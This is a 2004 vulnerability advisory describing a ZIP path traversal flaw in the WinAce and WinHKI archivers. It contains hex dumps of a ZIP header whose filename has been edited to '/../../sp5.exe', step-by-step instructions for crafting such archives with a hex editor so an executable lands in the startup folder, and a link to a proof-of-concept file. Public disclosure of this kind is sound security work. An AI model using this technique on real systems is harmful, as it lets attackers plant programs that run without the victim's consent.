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Application: WinAce, WinHKI
Vendors: http://www.webtoolmaster.com
Versions: 1.4d
Platforms: Windows
Bug: ZIP File Directory Transversal
Exploitation: Local (extract file)
Date: 24 Dec 2004
Author: Rafel Ivgi, The-Insider
E-Mail: the_insider@mail.com
Website: http://theinsider.deep-ice.com
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1) Introduction
2) Bugs
3) The Code
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1) Introduction
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WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ
compressions.
WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ,
TAR.GZ, LZA, LHA compressions.
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2) Bug
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This is a normal ZIP compressed file header
00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..
00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 ..</..........sp
00000020 352E 6578 65EC 5A7F 5454 577E 7F33 0C30 5.exe.Z.TTW~.3.0
00000030 C0C0 1B94 8926 6A32 2AAE D9FC 206E 2628 .....&j2*... n&(
00000040 2018 1186 4044 7D3A E40D 4940 4304 7CCC ...@D}:..I@C.|.
in the following code, we can see how easy it is to change the path
to anywhere we want, including the all users start up folder.
I just overwrited the original long file name to /../../sp5.exe
00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..
00000010 F209 3C2F 0F00 C8EE 0F00 1000 0000 7662 ..</..........vb
00000020 2F2E 2E2F 2E2E 2F73 7035 2E65 7865 EC5A /../../sp5.exe.Z
00000030 7F54 5457 7E7F 330C 30C0 C01B 9489 266A .TTW~.3.0.....&j
00000040 322A AED9 FC20 6E26 2820 1811 8640 447D 2*... n&( ...@D}
All we need to do is zip compress (using winzip, winrar, winace)
a file with a long name/path and change the path specified inside the file
to whatever we want Using any Hex editor such as HexWorkshop, just add
anything to the filename.
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3) The Code
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An online proof of concept can be found at:
http://theinsider.web1000.com/WINACE-WINHKI ZIP TRANSVERSAL.zip
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Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Scripts and Codes will make me D.O.S , but they will never HACK me."
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